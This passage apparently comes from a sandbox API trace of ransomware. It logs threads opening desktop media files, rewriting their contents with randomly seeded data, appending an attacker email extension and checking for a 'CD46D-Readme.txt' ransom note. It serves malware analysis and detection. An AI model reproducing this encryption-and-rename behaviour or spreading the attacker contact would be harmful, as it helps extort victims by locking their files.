(in: hFile=0x5d8, lpBuffer=0x95d0ec0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x8edfaec, lpOverlapped=0x0 | out: lpBuffer=0x95d0ec0*, lpNumberOfBytesWritten=0x8edfaec*=0x103, lpOverlapped=0x0) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0ec0) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0560) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0510) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0538) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604e0) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460418) returned 1 [0054.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460378) returned 1 [0054.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x4435f0 [0054.509] wcscpy (in: _Dest=0x4435f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv" [0054.509] wcscat (in: _Dest=0x4435f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0054.509] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8edfaa4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d910 [0054.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d910) returned 1 [0054.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0f50) returned 1 [0054.598] NtQueryInformationFile (in: FileHandle=0x5d8, IoStatusBlock=0x8edfab0, FileInformation=0x8edfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8edfab0, FileInformation=0x8edfa88) returned 0x0 [0054.598] NtSetInformationFile (FileHandle=0x5d8, IoStatusBlock=0x8edfab0, FileInformation=0x8edfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4435f0) returned 1 [0054.600] FlushFileBuffers (hFile=0x5d8) returned 1 [0054.600] CloseHandle (hObject=0x5d8) returned 1 [0054.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.601] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.601] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.601] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445f80) returned 1 Thread: id = 296 os_tid = 0xb18 [0047.012] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r2clogb.png")) returned 0x20 [0047.012] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png", dwFileAttributes=0x20) returned 1 [0055.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r2clogb.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5dc [0055.851] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x8f4fe2c | out: lpFileSize=0x8f4fe2c*=7250) returned 1 [0055.851] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x1c4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.851] ReadFile (in: hFile=0x5dc, lpBuffer=0x8f4fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8f4fdac, lpOverlapped=0x0 | out: lpBuffer=0x8f4fdb0*, lpNumberOfBytesRead=0x8f4fdac*=0x4, lpOverlapped=0x0) returned 1 [0055.851] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0448 [0055.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d04c0 [0055.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0055.851] NtQuerySystemTime (in: CurrentTime=0x8f4fd8c | out: CurrentTime=0x8f4fd8c*=132174898198248000) returned 0x0 [0055.851] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x776ea590 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x89588d3 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x55ccf4f2 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x39e710fb [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x3afd10a9 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x52c1452d [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x286a7bc5 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x41e3b5f0 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x3e410fee [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x6e88601d [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x657c60ec [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x60bc21e6 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x38a8d2f0 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x35aafc4b [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x33f618ed [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x4f6f679e [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0xe0b93f0 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x6470d038 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x7a136225 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x6718370c [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x3eacb4c [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x32c59d8a [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x7d52658a [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x6dd89b40 [0055.852] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x4df18b33 [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x26068ca3 [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x7476e8d1 [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x883c05 [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x5a12bf32 [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x4119315a [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x4523b1df [0055.853] RtlRandomEx (in: Seed=0x8f4fd98 | out: Seed=0x8f4fd98) returned 0x60599c52 [0055.864] ReadFile (in: hFile=0x5dc, lpBuffer=0x9706908, nNumberOfBytesToRead=0x1c52, lpNumberOfBytesRead=0x8f4fd88, lpOverlapped=0x0 | out: lpBuffer=0x9706908*, lpNumberOfBytesRead=0x8f4fd88*=0x1c52, lpOverlapped=0x0) returned 1 [0055.865] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.865] WriteFile (in: hFile=0x5dc, lpBuffer=0x9713110*, nNumberOfBytesToWrite=0x1c52, lpNumberOfBytesWritten=0x8f4fd84, lpOverlapped=0x0 | out: lpBuffer=0x9713110*, lpNumberOfBytesWritten=0x8f4fd84*=0x1c52, lpOverlapped=0x0) returned 1 [0060.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436548 [0060.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436570 [0060.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436570) returned 1 [0060.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9713110) returned 1 [0060.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9706908) returned 1 [0060.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0060.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0060.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cefc0 [0060.795] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.795] WriteFile (in: hFile=0x5dc, lpBuffer=0x4453e8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x8f4fdec, lpOverlapped=0x0 | out: lpBuffer=0x4453e8*, lpNumberOfBytesWritten=0x8f4fdec*=0x107, lpOverlapped=0x0) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4453e8) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceff0) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436570) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefc0) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436548) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04c0) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04e8) returned 1 [0062.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0538) returned 1 [0062.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c578 [0062.793] wcscpy (in: _Dest=0x45c578, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png" [0062.794] wcscat (in: _Dest=0x45c578, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d" [0062.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8f4fda4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00130 [0062.954] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00130) returned 1 [0062.954] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49eef8) returned 1 [0062.954] NtQueryInformationFile (in: FileHandle=0x5dc, IoStatusBlock=0x8f4fdb0, FileInformation=0x8f4fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8f4fdb0, FileInformation=0x8f4fd88) returned 0x0 [0062.954] NtSetInformationFile (FileHandle=0x5dc, IoStatusBlock=0x8f4fdb0, FileInformation=0x8f4fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.956] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c578) returned 1 [0062.956] FlushFileBuffers (hFile=0x5dc) returned 1 [0066.197] CloseHandle (hObject=0x5dc) Thread: id = 297 os_tid = 0xb1c [0047.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r8o2si.m4a")) returned 0x20 [0047.013] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a", dwFileAttributes=0x20) returned 1 [0055.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r8o2si.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5e0 [0055.822] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x8fdfe40 | out: lpFileSize=0x8fdfe40*=1227) returned 1 [0055.823] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x4c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.823] ReadFile (in: hFile=0x5e0, lpBuffer=0x8fdfdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8fdfdc0, lpOverlapped=0x0 | out: lpBuffer=0x8fdfdc4*, lpNumberOfBytesRead=0x8fdfdc0*=0x4, lpOverlapped=0x0) returned 1 [0055.823] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fd88 [0055.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fd38 [0055.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fb80 [0055.823] NtQuerySystemTime (in: CurrentTime=0x8fdfda0 | out: CurrentTime=0x8fdfda0*=132174898198092000) returned 0x0 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x398d9d7c [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0xbde047c [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x7169dcb7 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x225c2c8e [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x6d5fd1b9 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x740aed03 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x718b8b5d [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x6ad38b85 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x66348a1b [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x32f98e2 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x5e5f76c [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x3a5a4e34 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x79b8ecb0 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0xefc8f2e [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x83d820c [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x6b248502 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x5c37d58b [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x52966c6d [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x5a7ecf2a [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x58331c74 [0055.823] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x292425f6 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x5dd3fced [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x178b61f6 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x2795327 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x9d4a595 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x67fa59c [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x4dda3c7 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x12d22e7 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x23156ec3 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x28000d28 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x6248212 [0055.824] RtlRandomEx (in: Seed=0x8fdfdac | out: Seed=0x8fdfdac) returned 0x104c8ce4 [0055.835] ReadFile (in: hFile=0x5e0, lpBuffer=0x12dea9f0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x8fdfd9c, lpOverlapped=0x0 | out: lpBuffer=0x12dea9f0*, lpNumberOfBytesRead=0x8fdfd9c*=0x4cb, lpOverlapped=0x0) returned 1 [0055.835] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.835] WriteFile (in: hFile=0x5e0, lpBuffer=0x12df71f8*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x8fdfd98, lpOverlapped=0x0 | out: lpBuffer=0x12df71f8*, lpNumberOfBytesWritten=0x8fdfd98*=0x4cb, lpOverlapped=0x0) returned 1 [0060.788] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.788] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4364f8 [0060.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4364f8) returned 1 [0060.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12df71f8) returned 1 [0060.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dea9f0) returned 1 [0060.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0060.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4026d8) returned 1 [0060.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cef00 [0060.789] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.789] WriteFile (in: hFile=0x5e0, lpBuffer=0x4448c8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x8fdfe00, lpOverlapped=0x0 | out: lpBuffer=0x4448c8*, lpNumberOfBytesWritten=0x8fdfe00*=0x105, lpOverlapped=0x0) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4448c8) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef30) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4364f8) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef00) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4360c0) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fd38) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fbd0) returned 1 [0062.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fba8) returned 1 [0062.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c408 [0062.790] wcscpy (in: _Dest=0x45c408, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a" [0062.790] wcscat (in: _Dest=0x45c408, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0062.790] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8fdfdb8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d780 [0062.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0062.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49ecd0) returned 1 [0062.858] NtQueryInformationFile (in: FileHandle=0x5e0, IoStatusBlock=0x8fdfdc4, FileInformation=0x8fdfd9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8fdfdc4, FileInformation=0x8fdfd9c) returned 0x0 [0062.859] NtSetInformationFile (FileHandle=0x5e0, IoStatusBlock=0x8fdfdc4, FileInformation=0x8fdfd9c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0062.932] FlushFileBuffers (hFile=0x5e0) returned 1 [0066.194] CloseHandle (hObject=0x5e0) Thread: id = 298 os_tid = 0xb20 [0047.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rznp4wt20ywfy6h_08br.flv")) returned 0x20 [0047.013] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv", dwFileAttributes=0x20) returned 1 [0054.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rznp4wt20ywfy6h_08br.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5e4 [0054.182] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x8abf850 | out: lpFileSize=0x8abf850*=29143) returned 1 [0054.182] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x71d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.182] ReadFile (in: hFile=0x5e4, lpBuffer=0x8abf7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8abf7d0, lpOverlapped=0x0 | out: lpBuffer=0x8abf7d4*, lpNumberOfBytesRead=0x8abf7d0*=0x4, lpOverlapped=0x0) returned 1 [0054.183] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460490 [0054.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604e0 [0054.183] NtQuerySystemTime (in: CurrentTime=0x8abf7b0 | out: CurrentTime=0x8abf7b0*=132174898181712000) returned 0x0 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x5ca2cb74 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x7ada82e7 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x3142195c [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x2c340323 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: 